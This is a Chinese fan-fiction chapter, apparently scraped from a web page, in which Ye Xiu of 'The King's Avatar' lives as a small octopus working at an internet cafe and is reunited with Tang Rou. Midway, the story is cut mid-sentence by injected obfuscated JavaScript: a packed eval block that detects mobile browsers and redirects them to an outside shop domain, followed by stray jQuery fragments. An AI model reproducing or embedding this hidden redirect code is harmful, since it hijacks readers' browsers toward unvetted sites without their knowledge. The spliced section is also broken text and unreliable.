在嘉世宣布叶秋退役的这一天，兴欣网吧新招了一位网管。
是个章鱼。
这话说出来陈果都想笑，但事情就是这么发生了。
而因为叶修声称自己天衣无缝的化形技术其实处处都是破绽，陈果考虑再三，决定让叶修主值夜班。
反正晚上前台黑灯瞎火的，不会有谁特意注意前台的网管有没有从身上冒出几根红色的触手。
但最近这几天，不论是叶修需要定制的小衣服，还是他化成成年男性后的正常衣服都暂时没有着落。
所以，被老板勒令必须一直保持原型的叶修只剩下了一件事。
趁着荣耀新区第十区开放，尽早给自己的首版卡办理转区。
他软哒哒地趴在键盘上，看着隔壁陈果欲言又止的表情问：
“奇怪吗？”
之前晚上蹲点逮捕他的时候，陈果怎么不见一点害怕，这会两人已经说开身份，反射弧这么久才有反应吗？
“哎呀不是，”陈果吭哧几下，最后还是叹口气，“你的一叶之秋就这样留在嘉世了？”
“我是退役，又不是转会，当然不能带走它了。”叶修态度坦荡，不见一点负面情绪，“而且最主要的是......”
他的尾音拖得很长，勾起了陈果的好奇心。
“我现在是个身无分文的流浪汉，不对，流浪章鱼。”
她就多余问这一下。
人和人果然还是要保持距离，多年偶像一朝变鱼就算了，性格还这么不着调，陈果别提多郁闷了。
就这一会聊天的功夫，叶修的触手已经将键盘拍得啪啪作响，进入第十区开始在新手村完成任务了。
观望了一会已经后太多年没有见过的新手任务，不过几分钟，陈果就上下眼皮胶粘，恨不得立刻睡在网吧椅子上。
她站起身，拍拍脸让自己清醒，问身边在桌子上瘫成一片的叶修：
“吃不吃夜宵？我去买点。”
“唔，好啊，不过口味太重的就不用了。”叶修在手底下忙碌的间隙回答道。
“你还挑上了，”陈果佯装不满地戳戳他，手底下的触感冰凉Q弹，让她忍不住多戳动了几下。
“我是鱼啊，吃得太咸或者太油都需要身体另外转移水分过去稀释，到时候还要补水，太麻烦了。”
这次，叶修很认真地给出了回答。
居然真的是有科学依据的，她还以为叶修只是单纯的挑嘴。
最后，出门逛了一圈借着冷风清醒了一下，陈果给前台另一位值班小妹带回些烧烤，给叶修面前放了一碗白粥。
“喏，周围除了烧烤就是火锅，这是最养生的东西了，你凑活吃。”
能有口吃的就已经很开心的叶修并没有挑剔，他道了声谢，腾出一只触手，专门为自己蒯粥喝。
围观一只并不常见的海洋生物吃饭，显然比看游戏开荒更有意思，陈果就着烧烤，把叶修打游戏喝粥当动物世界，围观的停不下来。
似乎已经习惯了这样被人看着做任何事的生活，叶修没有表现出任何尴尬，他如同有多核处理器般，将每一件事都干得井井有条。
“之前的小毛衣还在吗？”他突然问道。
“还在呢，干嘛？”口头上还在问问题，陈果从口袋一掏，掏出了一模一样两件小毛衣，“另一只手套我也找着了，给你，随便套一个吧！”
因为并不知道那位给叶修送衣服的人什么时候才能来，想着万一需要换洗，陈果干脆也把自己的另一只手套贡献了出来。
到时候不够也没事，反正她的旧毛线手套多得是。
“谢谢你啦！老板！”叶修“嘭”一声变出半个人形，他拖动挂在旁边比自己大了几倍的耳机放在桌子上，几只触手同时上阵，三两下穿好了衣服。
陈果往屏幕上一瞅，才知道这家伙已经过了新手村，正在进入副本。
他没有固定队友，只能随机组个野队，如果和队友们沟通不畅，很容易在配合的时候出现问题。
当然，在叶修挨着话筒讲话，特意戳穿月中眠的阴谋之前，陈果都是这么想的。
那耳机就摆在桌子上，队伍内的命令和配合陈果听得一清二楚，眼见BOSS如此凶残地收割生命，她还傻兮兮替别人捏了把汗。
“你从什么时候知道他的图谋的？”陈果很好奇。
“进本没多久，”叶修没有多说，他只解释，“章鱼智商很高的。”
什么意思？说她智商低？
正要发作，却见屏幕上已经弹出了拿下首杀的系统公告。
......好吧，她承认自己技不如人。
趁叶修处理BOSS掉落物的空隙，陈果给他扯了扯穿得歪扭七八的小毛衣，看着他头顶因为静电炸起的几根黑色发丝，她撑着脸，突然说：
“你之前都在哪定制衣服啊？”
“嗯？”叶修歪着头想了想，眼睛却没从屏幕上挪开，“有些是沐橙从二手软件上专门找的裁缝，有些是别的人送的，我也不知道他们哪来的渠道。”
别的人......
想也知道，肯定都是些她耳熟能详的职业选手们。
“行，我知道了，”她没再细问，叮嘱叶修到点就自己回鱼缸里后，站起身走上了二楼。
然而，等她一觉起来，洗漱完下楼，却发现叶修仍然像一滩果冻一样瘫在电脑前的键盘上。
“你睡了没？！”她几步过去抽走对方的鼠标，恨不得给他立刻抓回鱼缸。
“睡了睡了！中间我还回鱼缸补了一次水呢！”叶修急忙讨饶，这会正是刷本结束结算整理物资的时候，他心中着急，红色的柔软触手在空中摇晃几下，试图去够陈果手中的鼠标。
“我每天只需要睡够两小时就行，而且生活习性也不支持我睡太久，”眼见陈果一点也不心软，他只好老老实实解释。
没有立刻相信叶修，陈果坐下来打开隔壁电脑，在网页上输入章鱼的习性，仔细翻看起来。
叶修：“......”
也不用严谨到这种地步吧，他还不至于彻底牺牲自己的睡眠来打荣耀。
“现在能还给我了吗？”光是能看到屏幕上的游戏界面却玩不了，简直是一种酷刑。
“不能，”知道叶修没有骗她，陈果还是冷酷地拒绝了对方，“休息一会，先吃饭。”
统共和叶修没相处多久，陈果面对这位曾经只能仰望的职业选手大神已经心态大变，或许也有叶修一直保持着巴掌大章鱼模样的原因，她总觉得像是自己新养了一只宠物。
当然，明面上她可不敢这么说。
盯着叶修老老实实吃完饭，中途还收获了饭菜太素的吐槽，陈果记在心里，心想这章鱼还挺难伺候。
以前在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874625|212341||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嘉世，苏沐橙是不是也这样照顾着叶修呢？
也就只能想想苏沐橙还有这种细心了，至于嘉世其他选手，在陈果心里已经查无此人。
陪着叶修用小号刷了几次副本，陈果瞥了眼时间道：
“我去路口接个人，等会再陪你打。”
叶修趴在桌子上，老老实实点点头。
没过多久，陈果领回来一个拿着大包小包的短发姑娘。
知道唐柔从B市到H市一路颠簸，她帮着对方在二楼安置好行李，就打算自己下楼。
“听说你新招来个人？”*唐柔跟在陈果身后，突然问道。
“呃，应该算吧？”对于“人”这个描述有些纠结，陈果没能立刻给出肯定答案，“你不休息一下吗？不累的话，可以跟我一起先去见见他。”
“好。”
痛快答应了陈果的邀请，二人一起向楼下走去，经过那扇朝阳的窗户时，唐柔停了下来。
“你打算养鱼？”望着换气泵和加热棒一应俱全的空鱼缸，她好奇道。
“唉，不是，这个说来话长......”陈果一时语塞，如果她直接向唐柔说那就是新员工的工位，对方会不会用看傻子的眼神看她？
眼见陈果没有继续解释的打算，唐柔体贴地没有再问。
等到一路将唐柔引向网吧一楼最偏僻的角落，陈果站定，让出身位，给唐柔介绍桌子上的那只章鱼。
“这是叶修，就是我之前一直给你说的，呃，很喜欢的那个职业选手。”现在说出这话，陈果已经觉得有些害臊。
她又给叶修介绍：“这是唐柔，跟你一样，是另一个网管，前几天请假回家了。”
一人一章相顾无言。
嘶，陈果有些后悔了，该不会给小唐吓到了吧，这孩子一看就是不信这种东西的高知青年，早知道......
这边陈果还在心里懊恼，另一边，竟是唐柔先开口说话了：
“原来你消失了这么久，是去打游戏了。”
相当熟悉的口吻，甚至还是肯定句。
“是啊，”叶修也同样大大方方承认了，他笑着回望唐柔，“原来你毕业后没有回B市，是来当网管了。”
真要对比，两个人竟是没谁比谁好。
“你的荣耀打得很好。”听过陈果的安利，她心里有个大概的概念。
“对，”叶修没有谦虚。
“等一下！”陈果打断两人的结界，“你们怎么认识？”
“小时候在B市见过，”唐柔没有隐瞒自己的来历，“家里人说，他是叶家请来的家仙。”
难以想象，21世纪了，陈果居然能从清冷理性的唐柔嘴里听到“家仙”这种话题，但比起这个更令她惊悚的，还有他们生活的环境。
好像对唐柔口中的家人而言，在一个普通人家里出现什么精怪是再合理不过的一件事。
“你们这边应该不信这个吧？”知道陈果是唯物主义者，唐柔多解释了一句，“在我们那一片生活的人，或多或少都会知道些辛秘。”
陈果沉默了。
她突然意识到，在场的三个生物中，似乎只有她才是那个一无所知的普通市民。
“这么玄乎啊？”叶修没想到自己的名声以这种形式传播，他赶紧替自己正名，“没那么夸张，我就是上岸那年被老头捡到了，之后顺理成章当他儿子而已。”